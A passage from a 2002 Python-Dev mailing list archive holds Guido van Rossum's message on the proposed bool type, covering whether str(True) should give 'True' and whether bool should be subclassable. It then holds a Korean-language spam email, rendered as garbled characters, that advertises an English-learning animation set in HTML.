> I think in summary, the confusion we have run into here is 
> caused by Python's use of bits to represent booleans.

I don't understand this.  The way I see it, current Python doesn't use
bits for Booleans.  It has no Boolean type, and the integers 0 and 1
are conventional but not the only ways to spell Boolean outcomes.

> You would like to move this usage more in the direction of booleans,
> but only half way.

Yes, forced by backwards compatibility.

> Exactly; which is why I don't understand the move to
> override __str__ with something which doesn't have anything
> to do with integers :-)

Probably because we have a different intuition on how str() is used.
For me, it's mostly used as an output conversion.  But it seems that
for you, conversion to a decimal int is important because you need to
feed that into other applications that require decimal strings.

> Heck, it's only one method we're argueing about here.
> Why are all these cycles needed to convince you that backwards
> compatibility is better than the cosmetics of having str(True)
> return 'True' ?

Maybe because at the start it wasn't clear that that is your only
*real* objection, and you brought so many other arguments into play?
Or maybe because you and I are using Python in very different ways, so
that what's obvious for you isn't always obvious for me (and vice
versa)?

> You can always implement the latter as a subtype of bool if you care
> enough and without breaking code.

I thought about this last night, and realized that you shouldn't be
allowed to subclass bool at all!  A subclass would only be useful when
it has instances, but the mere existance of an instance of a subclass
of bool would break the invariant that True and False are the only
instances of bool!  (An instance of a subclass of C is also an
instance of C.)  I think it's important not to provide a backdoor to
create additional bool instances, so I think bool should not be
subclassable.

Of course, you can define your own subclass of int similar to the bool
class I show in the PEP, and you can give it any semantics you want --
but that would also defeat the purpose of having a standard bool.

What will happen in reality is that people will have to write:

    print repr(b)

rather than:

    print b

That's not terribly bad.  But I'm not sure I'm ready to answer the
complaints from newbies who are confused by this:

    >>> isinstance(1, int)
    True
    >>> print isinstance(1, int)
    1
    >>> 

So I need someone else to chime in with additional evidence that
str(True) should be '1', not 'True'.  So far you've been carrying this
particular argument all by yourself.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From dhlee@flynara.co.kr  Sat Mar  9 14:07:36 2002
From: dhlee@flynara.co.kr (Áø³ª¶ó)
Date: Sat, 9 Mar 2002 23:07:36 +0900
Subject: [Python-Dev] ¸íÀÛ ¿µ¾î±³À°¿ë ¾Ö´Ï¸ÞÀÌ¼Ç ¼¼Æ®(±¤.°í)
Message-ID: <E16jhoz-0007Fe-00@mail.python.org>

<HTML>
<HEAD>
<META content="text/html; charset=ks_c_5601-1987" http-equiv=Content-Type>
<STYLE> p, font, span { line-height:120%; margin-top:0; margin-bottom:0; }</STYLE>
</HEAD><BODY>
<DIV><BR>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<TABLE border=0 cellPadding=0 cellSpacing=0 width=615>
  
  <TR>
    <TD>
      <TABLE align=center border=0 cellPadding=0 cellSpacing=0 width=595 
      >
        
        <TR>
          <TD><IMG height=140 
            src="http://www.zinenara.com/email/images/ani1.jpg" width=595 
            ></TD></TR>
        <TR>
          <TD>&nbsp;</TD></TR>
        <TR>
          <TD><IMG align=right border=0 height=44 
            src="http://www.zinenara.com/email/images/gongu_10.gif" useMap=#Map 
            width=495> <MAP name=Map 
              ><AREA coords=241,7,355,28 
              href="http://www.zinenara.com/shopmall/index.asp" shape=RECT 
              ><AREA coords=364,7,480,28 
              href="http://shop.zinenara.com/joint_buy/sub_product.jsp?p_no=2108&amp;rquantity=50" 
              shape=RECT></MAP></TD></TR></TABLE></TD></TR>
  <TR>
    <TD>&nbsp;</TD></TR>
  <TR>
    <TD>
      <TABLE align=center border=0 cellPadding=0 cellSpacing=0 width=595 
      >
        
        <TR>
          <TD>
            <P>¸íÀÛ ¾Ö´Ï¸ÞÀÌ¼Ç SETÀÔ´Ï´Ù.<BR>À¯ÀÍÇÑ 
            ¸íÀÛ µ¿È­¸¸À» ¾ö¼±ÇÏ¿© ¿µ¾î±³À°¿ë ¾Ö´Ï¸ÞÀ̼ÇÀ¸·Î ±¸¼ºÇÏ¿´½À´Ï´Ù.<BR>¹®ÀåÀÇ ¹Ýº¹ 
            ÁøÇàÀ¸·Î ÇнÀÈ¿°ú°¡ ¶Ù¾î³³´Ï´Ù.<BR>±¸¸ÅÇϱ⠹öÆ°À» ´­·¯ ±¸¸ÅÇϼ¼¿ä.</P>
            <P>¢À »óÇ°¸í: ¸íÀÛ ¾Ö´Ï¸ÞÀÌ¼Ç ¼¼Æ®<BR>¢À 
            ±¸¼º: 10 CASE / CD 10Àå + Audio Tape 5Àå<BR><BR 
            ><FONT color=#008080><B 
            >¢º ¿µ¾î±³À°CD ±â´É¼³¸í</B></FONT></P>
            <TABLE border=0 cellPadding=0 cellSpacing=0 width=595 
            >
              
              <TR>
                <TD>
                  <DIV align=center><EMBED height=330 
                  src=http://211.193.30.169/pds/CCFE.wmv type=video/x-ms-wmv 
                  width=360> 
            </EMBED></DIV></TD></TR></TABLE>
            <DIV align=center><FONT color=#ff0000 
            ><B><BR 
            >Ưº° º¸³Ê½º~!</B></FONT><BR><B>
Audio Tape 5Àå
</B>À» µå¸³´Ï´Ù
<BR>
<BR >  </DIV><TABLE bgColor=#33cc00 border=0 cellPadding=0 cellSpacing=0 
            height=19 width=595>
              
              <TR>
                <TD bgColor=#0099ff>
                  <DIV align=center><B 
                  >¸®ºä</B></DIV></TD></TR>
</TABLE>
            <P>
            <TABLE align=center border=1 borderColor=#000000 cellPadding=0 
            cellSpacing=0 width=550>
              
              <TR>
                <TD width=138>
                  <DIV align=center><FONT size=2 
                  ><IMG border=0 height=180 
                  src="http://www.zinenara.com/email/images/queen.jpg" width=125 
                  ></FONT></DIV></TD>
                <TD width=17>
                  <DIV align=center><FONT size=2 
                  >ÀÎ<BR>¾î<BR 
                  >°ø<BR 
                >ÁÖ</FONT></DIV></TD>
                <TD width=193>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/queen1.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/queen2.jpg" 
                        width=175></TD></TR></TABLE></TD>
                <TD width=192>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=177>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/queen3.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/queen4.jpg" 
                        width=175></TD></TR></TABLE></TD></TR>
              <TR>
                <TD colSpan=4>
                  <DIV align=center><FONT size=2 
                  >Àξî°øÁÖ´Â ¿ÕÀÚ¸¦ ¸¸³ª±â À§ÇØ ¸ñ¼Ò¸®¿Í ´Ù¸®¸¦ ¹Ù²Û´Ù.<BR 
                  >°ú¿¬ Àξî°øÁÖÀÇ »ç¶ûÀº ÀÌ·ç¾îÁú¼ö ÀÖÀ»±î? <BR 
                  ></FONT></DIV></TD>
              <TR>
                <TD width=138>
                  <DIV align=center><FONT size=2 
                  ><IMG border=0 height=180 
                  src="http://www.zinenara.com/email/images/henjel.jpg" 
                  width=125></FONT></DIV></TD>
                <TD width=17>
                  <DIV align=center><FONT size=2 
                  >Çî<BR>Á©<BR 
                  >°ú<BR><BR 
                  >±×<BR>·¹<BR 
                  >ÅÚ</FONT></DIV></TD>
                <TD width=193>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/henjel1.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/henjel2.jpg" 
                        width=175></TD></TR></TABLE></TD>
                <TD width=192>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/henjel3.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/henjel4.jpg" 
                        width=175></TD></TR></TABLE></TD></TR>
              <TR>
                <TD colSpan=4>
                  <DIV align=center><FONT size=2 
                  >ÇîÁ©°ú ±×·¹ÅÚÀº, °è¸ðÀÇ ²Õ¿¡ ºüÁø ¾Æ¹öÁö¿¡ ÀÇÇØ ½£¼Ó¿¡ ¹ö·ÁÁö°í..<BR 
                  >±×µéÀÌ Ã£¾Æ°£ °÷Àº ¿ÂÅë ¸ÀÀÖ´Â °úÀÚ·Î Áö¾îÁø ½ÅºñÇÑ ÁýÀ̾ú´Âµ¥,,, 
                  <BR></FONT></DIV></TD></TR>
              <TR>
                <TD width=138>
                  <DIV align=center><FONT size=2 
                  ><IMG border=0 height=180 
                  src="http://www.zinenara.com/email/images/ysop.jpg" width=125 
                  ></FONT></DIV></TD>
                <TD width=17>
                  <DIV align=center><FONT size=2 
                  >ÀÌ<BR>¼Ù<BR 
                  ><BR>ÀÌ<BR 
                  >¾ß<BR 
                >±â</FONT></DIV></TD>
                <TD width=193>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/ysop1.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/ysop2.jpg" 
                        width=175></TD></TR></TABLE></TD>
                <TD width=192>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/ysop3.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/ysop4.jpg" 
                        width=175></TD></TR></TABLE></TD></TR>
              <TR>
                <TD colSpan=4>
                  <DIV align=center><FONT size=2 
                  >¾ðÁ¦³ª ±³ÈÆÀ» ÁÖ´Â À̼ÙÀ̾߱â.<BR 
                  >À̹ø¿£ ¾î¶² ±³ÈÆÀ» ¹è¿ï±î¿ä? <BR 
                  ></FONT></DIV></TD></TR>
              <TR>
                <TD width=138>
                  <DIV align=center><FONT size=2 
                  ><IMG border=0 height=180 
                  src="http://www.zinenara.com/email/images/pig.jpg" width=125 
                  ></FONT></DIV></TD>
                <TD width=17>
                  <DIV align=center><FONT size=2 
                  >¼¼<BR>¸¶<BR 
                  >¸®<BR><BR 
                  >¾Æ<BR>±â<BR 
                  >µÅ<BR 
                >Áö</FONT></DIV></TD>
                <TD width=193>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/pig1.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/pig2.jpg" 
                        width=175></TD></TR></TABLE></TD>
                <TD width=192>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/pig3.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/pig4.jpg" 
                        width=175></TD></TR></TABLE></TD></TR>
              <TR>
                <TD colSpan=4>
                  <DIV align=center><FONT size=2 
                  >¼¼¸¶¸® ¾Æ±â µÅÁö ÇüÁ¦´Â °¢ÀÚ ´Ù¾çÇÑ ¹æ¹ýÀ¸·Î ÁýÀ» Áþ´Âµ¥..<BR 
                  >¾Ñ! ¹«¼­¿î ´Á´ë°¡ µÅÁöµéÀ» ã¾Æ¿Ô³×? <BR 
                  ></FONT></DIV></TD></TR>
              <TR>
                <TD width=138>
                  <DIV align=center><FONT size=2 
                  ><IMG border=0 height=180 
                  src="http://www.zinenara.com/email/images/duck.jpg" width=125 
                  ></FONT></DIV></TD>
                <TD width=17>
                  <DIV align=center><FONT size=2 
                  >¹Ì<BR>¿î<BR 
                  ><BR>¿À<BR 
                  >¸®<BR>»õ<BR 
                  >³¢</FONT></DIV></TD>
                <TD width=193>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/duck1.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/duck2.jpg" 
                        width=175></TD></TR></TABLE></TD>
                <TD width=192>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/duck3.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/duck4.jpg" 
                        width=175></TD></TR></TABLE></TD></TR>
              <TR>
                <TD colSpan=4>
                  <DIV align=center><FONT size=2 
                  >¸ø»ý±ä ¿À¸®¶ó´Â ÀÌÀ¯·Î µûµ¹¸²À» ´çÇÏ´Â ¹Ì¿î¿À¸®»õ³¢.<BR 
                  >ÇÏÁö¸¸ ¹Ì¿î¿À¸®»õ³¢ÀÇ ÁøÂ¥ ¸ð½ÀÀº,,, <BR 
                  ></FONT></DIV></TD></TR>
              <TR>
                <TD width=138>
                  <DIV align=center><FONT size=2 
                  ><IMG border=0 height=180 
                  src="http://www.zinenara.com/email/images/travle.jpg" 
                  width=125></FONT></DIV></TD>
                <TD width=17>
                  <DIV align=center><FONT size=2 
                  >°É<BR>¸®<BR 
                  >¹ö<BR><BR 
                  >¿©<BR>Çà<BR 
                  >±â</FONT></DIV></TD>
                <TD width=193>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/travle1.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/travle2.jpg" 
                        width=175></TD></TR></TABLE></TD>
                <TD width=192>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/travle3.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/travle4.jpg" 
                        width=175></TD></TR></TABLE></TD></TR>
              <TR>
                <TD colSpan=4>
                  <DIV align=center><FONT size=2 
                  >°É¸®¹ö°¡ µµÂøÇÑ °÷Àº ¾ÆÁÖ ÀÛÀº »ç¶÷µéÀÌ »ç´Â ¼ÒÀα¹.<BR 
                  >¾î¶²ÀÏÀÌ ¹ú¾îÁú±î? <BR 
                  ></FONT></DIV></TD></TR>
              <TR>
                <TD width=138>
                  <DIV align=center><FONT size=2 
                  ><IMG border=0 height=180 
                  src="http://www.zinenara.com/email/images/lamp.jpg" width=125 
                  ></FONT></DIV></TD>
                <TD width=17>
                  <DIV align=center><FONT size=2 
                  >¾Ë<BR>¶ó<BR 
                  >µò<BR>°ú<BR 
                  ><BR>¿ä<BR 
                  >¼ú<BR>·¥<BR 
                  >ÇÁ</FONT></DIV></TD>
                <TD width=193>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/lamp1.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/lamp2.jpg" 
                        width=175></TD></TR></TABLE></TD>
                <TD width=192>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/lamp3.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/lamp4.jpg" 
                        width=175></TD></TR></TABLE></TD></TR>
              <TR>
                <TD colSpan=4>
                  <DIV align=center><FONT size=2 
                  >°¡³­ÇÑ ¼Ò³â ¾Ë¶óµòÀº ¿ì¿¬ÇÑ ±âȸ¿¡<BR 
                  >½ÅºñÇÑ ¿ä¼ú·¥ÇÁ¸¦ ¾ò°Ô µÇ´Âµ¥,,, <BR 
                  ></FONT></DIV></TD></TR>
              <TR>
                <TD width=138>
                  <DIV align=center><FONT size=2 
                  ><IMG border=0 height=180 
                  src="http://www.zinenara.com/email/images/cap.jpg" width=125 
                  ></FONT></DIV></TD>
                <TD width=17>
                  <DIV align=center><FONT size=2 
                  >»¡<BR>°£<BR 
                  >¸ð<BR 
                >ÀÚ</FONT></DIV></TD>
                <TD width=193>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/cap1.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/cap2.jpg" 
                        width=175></TD></TR></TABLE></TD>
                <TD width=192>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/cap3.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/cap4.jpg" 
                        width=175></TD></TR></TABLE></TD></TR>
              <TR>
                <TD colSpan=4>
                  <DIV align=center><FONT size=2 
                  >ÇҸӴϸ¦ ã¾Æ°¡´Â ±Í¿©¿î »¡°£¸ðÀÚ ¾Æ±â.<BR 
                  >ÇÏÁö¸¸ ¹«½Ã¹«½ÃÇÑ ´Á´ë°¡,,,<BR 
                  ></FONT></DIV></TD></TR>
              <TR>
                <TD width=138>
                  <DIV align=center><FONT size=2 
                  ><IMG border=0 height=180 
                  src="http://www.zinenara.com/email/images/jack.jpg" width=125 
                  ></FONT></DIV></TD>
                <TD width=17>
                  <DIV align=center><FONT size=2 
                  >Àè<BR>°ú<BR 
                  ><BR>Äá<BR 
                  >ÁÙ<BR 
                >±â</FONT></DIV></TD>
                <TD width=193>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/jack1.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/jack2.jpg" 
                        width=175></TD></TR></TABLE></TD>
                <TD width=192>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/jack3.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/jack4.jpg" 
                        width=175></TD></TR></TABLE></TD></TR>
              <TR>
                <TD colSpan=4>
                  <DIV align=center><FONT size=2 
                  >ÇϴñîÁö ÀÚ¶ó´Â ÄáÁٱ⸦ Ÿ°í ¿Ã¶ó°£<BR 
                  >¿ë°¨ÇÑ ¼Ò³â ÀèÀÇ ¸ðÇè!<BR 
                  ></FONT></DIV></TD></TR>
              <TR>
                <TD width=138>
                  <DIV align=center><FONT size=2 
                  ><IMG border=0 height=180 
                  src="http://www.zinenara.com/email/images/snow.jpg" width=125 
                  ></FONT></DIV></TD>
                <TD width=17>
                  <DIV align=center><FONT size=2 
                  >¹é<BR>¼³<BR 
                  ><BR>°ø<BR 
                  >ÁÖ</FONT></DIV></TD>
                <TD width=193>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/snow1.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/snow2.jpg" 
                        width=175></TD></TR></TABLE></TD>
                <TD width=192>
                  <TABLE align=center border=0 cellPadding=0 cellSpacing=0 
                  width=175>
                    
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/snow3.jpg" 
                        width=175></TD></TR>
                    <TR>
                      <TD>&nbsp;</TD></TR>
                    <TR>
                      <TD><IMG border=1 height=90 
                        src="http://www.zinenara.com/email/images/snow4.jpg" 
                        width=175></TD></TR></TABLE></TD></TR>
              <TR>
                <TD colSpan=4>
                  <DIV align=center><FONT size=2 
                  >°è¸ð¿¡°Ô ÂѰܳ­ ¹é¼³°øÁÖ´Â ÀÏ°ö³­ÀåÀÌ¿Í ÇÔ²²<BR 
                  >»ì°ÔµÇ´Âµ¥,, </FONT></DIV></TD></TR></TABLE>
            <P><FONT color=#008080><B 
            >¢º ¸íÀÛ ¾Ö´Ï¸ÞÀÌ¼Ç 5´Ü°è ÇнÀ¹æ¹ý</B></FONT></P>
            <P><FONT size=2>[ 1 ´Ü°è ] 
            <BR>¿ì¼± ¿µÈ­¸¦ óÀ½ºÎÅÍ ³¡±îÁö °¨»óÇϽʽÿÀ. <BR 
            >¿µ¾î ÇнÀÀÇ ½ÃÀÛÀº HearingÀ» ¹Ýº¹ÇÏ´Â °ÍÀÔ´Ï´Ù.<BR 
            >ÇѱÛ/ ¿µ¹®/ ÇÑ¿µ¹®/ ¹«ÀÚ¸· À¸·Î ÇнÀÀÚÀÇ ¿µ¾î½Ç·Â¿¡ ¸Â°Ô ¼±ÅÃÀÌ °¡´ÉÇÕ´Ï´Ù. 
            <BR><BR>[ 2 ´Ü°è ] <BR 
            >1´Ü°è¿¡¼­ ÀÌ¹Ì Àڽŵµ ¸ð¸£°Ô ÁÖ¿ä´Ü¾î, ¹®ÀåµéÀÌ ±â¾ïµÇ¾î ÀÖ½À´Ï´Ù.<BR 
            >300¸¸ ´Ü¾î°¡ ¼ö·ÏµÈ ¾¾³×ÆÄÅ© ÀüÀÚ»çÀüÀ» ÀÌ¿ëÇÏ¿©, ´õ¿í È¿°ú¸¦ º¸½Ç¼ö ÀÖ½À´Ï´Ù. 
            <BR><BR>[ 3 ´Ü°è ] <BR 
            >2´Ü°è¿¡¼­ ÀÍÈù ´Ü¾îµéÀ» È°¿ëÇÏ¿© ¹®ÀåÀ» °øºÎÇϽʽÿÀ.<BR 
            >µû¶óÇϱ⠱â´ÉÀ» ÀÌ¿ëÇÏ¿© ´Ù¾çÇÑ È¸È­¹ýÀ» ¼÷ÁöÇϽǼö ÀÖ½À´Ï´Ù. <BR 
            ><BR>[ 4 ´Ü°è ] <BR 
            >¹®Àåµè±â¿¡ Àͼ÷ÇØÁø ÈÄ ¿©·¯¹®ÀåÀÌ À̾îÁø ´Ü¶ôÀ» °øºÎÇÕ´Ï´Ù.<BR 
            >±¸°£ ¹Ýº¹ ±â´ÉÀ» ÀÌ¿ëÇÏ¿© ¹Ýº¹¼÷Áö ÇÔÀ¸·Î½á ȸȭ¿¡ ÀڽۨÀ» °®°Ô µË´Ï´Ù. <BR 
            ><BR>[ 5 ´Ü°è ] <BR 
            >À§ÀÇ ´Ü°èµéÀ» °ÅÄ¡¸ç ¾òÀº ¿µ¾î ½Ç·ÂÀ» ¹Þ¾Æ¾²±â ±â´ÉÀ» ÅëÇÏ¿© ¿ÏÀüÈ÷ ³» °ÍÀ¸·Î<BR 
            >¸¸µì´Ï´Ù. ÃʱÞ, Áß±Þ, °í±Þ, 3´Ü°èÀÇ ³­À̵µ¸¦ ÅëÇÏ¿© ´Ü°èº° ½Ç·Â Å×½ºÆ®°¡ 
            °¡´ÉÇÕ´Ï´Ù. </FONT></P>
            <P>&nbsp;</P>
            <P><FONT color=#008080><B 
            >¢º ¾Ö´Ï¸ÞÀ̼ÇÀÇ È¿À²Àû ÇнÀ¹æ¹ý</B></FONT></P>
            <P>&lt;È¿À²ÀûÀÎ À¯¾ÆÀÇ ¿µ¾î°øºÎ¹ý &gt; </P>
            <P><FONT size=2>[ 1´Ü°è : 
            ÆÐÅÏÀÎ½Ä ´Ü°è ] <BR><BR>¸ÕÀú ¿µ»óÀ» 
            º¸¸é¼­ ±Í·Î µè±â¸¸ ÇÏ°Ô ÇÕ´Ï´Ù.<BR>Çϳª ÇϳªÀÇ ¾ð¾î¸¦ µ¡ºÙ¿©¼­ µÇµµ·Ï ¸¹Àº 
            ¿µ»óÀ» º¸¿©ÁÝ´Ï´Ù.<BR>¾ð¾î¸¦ °¡¸£Ä¥¶§´Â ±×¸²À̳ª À½¼ºÀ» ¸¹ÀÌ »ç¿ëÇØ¾ß Çϸç 
            ¿òÁ÷ÀÌ´Â ±×¸²(µ¿¿µ»ó)Àº <BR>ÆÐÅÏÀνÄÇϴµ¥ ÈξÀÈ¿°úÀûÀÔ´Ï´Ù. <BR 
            ><BR>[2´Ü°è : À̹ÌÁö »ç°í ´Ü°è ] <BR 
            >¸ÕÀú ±×¸²Ã¥À̳ª ¿µÈ­¸¦ º¸°í À̹ÌÁö »ç°í¸¦ ÇÏ°Ô ÇÕ´Ï´Ù.<BR 
            >ÀÌ´Ü°è¿¡¼­´Â ¿µ»óÀ» ¹ÙÅÁÀ¸·Î »ý°¢À» ÇÏ°Ô µÇ´Â À̹ÌÁö »ç°í°¡ ¹ß´ÞÇÏ°Ô µÇ´Âµ¥ <BR 
            >°£ÆíÇÏ°í ½¬¿î ´Ü¾îºÎÅÍ À̹ÌÁö¿Í ÇÔ²² ÀÍÈ÷°Ô µË´Ï´Ù. <BR 
            ><BR>[3´Ü°è : ¾ð¾î»ç°í ´Ü°è ] <BR 
            >¾ð¾î·Î »ý°¢ÇÏ°Ô ÇÕ´Ï´Ù.<BR>¾ð¾î»ç°í ´Ü°è·Î 
            µé¾î°¡¸é ¸ð¹æÀÇ Ã¹ ´Ü°è·Î ÁÖ¾îÁø ´Ü¾î¸¦ ÀÌ¿ëÇØ ÂªÀº ¹®ÀåÀ» <BR>¸¸µé¾îº¸´Â ÀÛ¾÷À» 
            ÇÏ°Ô µË´Ï´Ù. ¿©±â¼­´Â ¸ð¹æÇÑ °ÍÀÇ ¹Ýº¹À» Áñ±â°Ô µË´Ï´Ù. <BR><BR 
            >[4´Ü°è : ¾ð¾îÀÎ½Ä ´Ü°è ] <BR>¸ÕÀú 
            ¾ð¾îÀÇ ³»¿ëÀ» ÀÌÇØÇÏ°Ô µË´Ï´Ù.<BR>¾ð¾î ³»¿ëÀ» ÀÌÇØÇÏ°í ´ëÈ­¸¦ ÇÏ°ÔµÇ¸ç µè°í 
            ¸»ÇÏ´Â ±âȸ¸¦ °¡Áö°Ô µË´Ï´Ù.<BR>¹Ýº¹À» ÅëÇØ ¾ð¾î¸¦ ¹Ù¸£°Ô ÀÎÁöÇÏ°í ºñ±³, 
            ¼öÁ¤ÇÏ´Â °úÁ¤À» °ÅÃÄ Á¤È®ÇÏ°Ô ¾ð¾î¸¦ <BR>±¸»çÇÏ°Ô µË´Ï´Ù. </FONT><BR 
            ></P></TD></TR></TABLE></TD></TR>
  <TR>
    <TD><IMG align=right border=0 height=44 
      src="http://www.zinenara.com/email/images/gongu_10.gif" useMap=#Map 
      width=495> <MAP name=Map><AREA 
        coords=241,7,355,28 href="http://www.zinenara.com/shopmall/index.asp" 
        shape=RECT><AREA coords=364,7,480,28 
        href="http://shop.zinenara.com/joint_buy/sub_product.jsp?p_no=2108&amp;rquantity=50" 
        shape=RECT></MAP></TD></TR>
  <TR>
    <TD>&nbsp;</TD></TR>
  <TR>
    <TD>
      <TABLE align=center border=0 cellPadding=0 cellSpacing=0 width=595 
      >
        
        <TR>
          <TD bgColor=#3c7ebf>
            <DIV align=center><FONT color=#ffffff size=2 
            ><BR>´õÀÌ»ó »óÇ°¸®ºä ¸ÞÀÏÀ» ¹Þ¾Æº¸°í ½ÍÁö 
            ¾ÊÀ¸½Ã¸é <A href="mailto:dhlee@flynara.co.kr" ><FONT color=#ffff00 
            >[¼ö½Å°ÅºÎ]</FONT></A>¸¦ ÇØÁֽʽÿÀ.<BR 
            >»óÇ°¸®ºä³ª »çÀÌÆ® ÀÌ¿ë¿¡ À־ÀÇ ºÒÆí»çÇ×À̳ª ºÒ¸¸»çÇ×, °³¼±»çÇ×ÀÌ ÀÖÀ¸½Ã¸é <BR 
            ><A href="mailto:koyotai@flynara.co.kr" ><FONT color=#ffff00 
            >koyotai@flynara.co.kr</FONT></A><FONT 
            color=#ffff00> </FONT>À¸·Î º¸³»ÁÖ¼¼¿ä. ¿©·¯ºÐÀÇ ÀÇ°ßÀ» Àû±Ø 
            ¼ö¿ëÇÏ°Ú½À´Ï´Ù.</FONT></DIV><BR 
  ></TD></TR></TABLE></TD></TR></TABLE>
</BODY>
</HTML>


From neal@metaslash.com  Sat Mar  9 16:05:59 2002
From: neal@metaslash.com (Neal Norwitz)
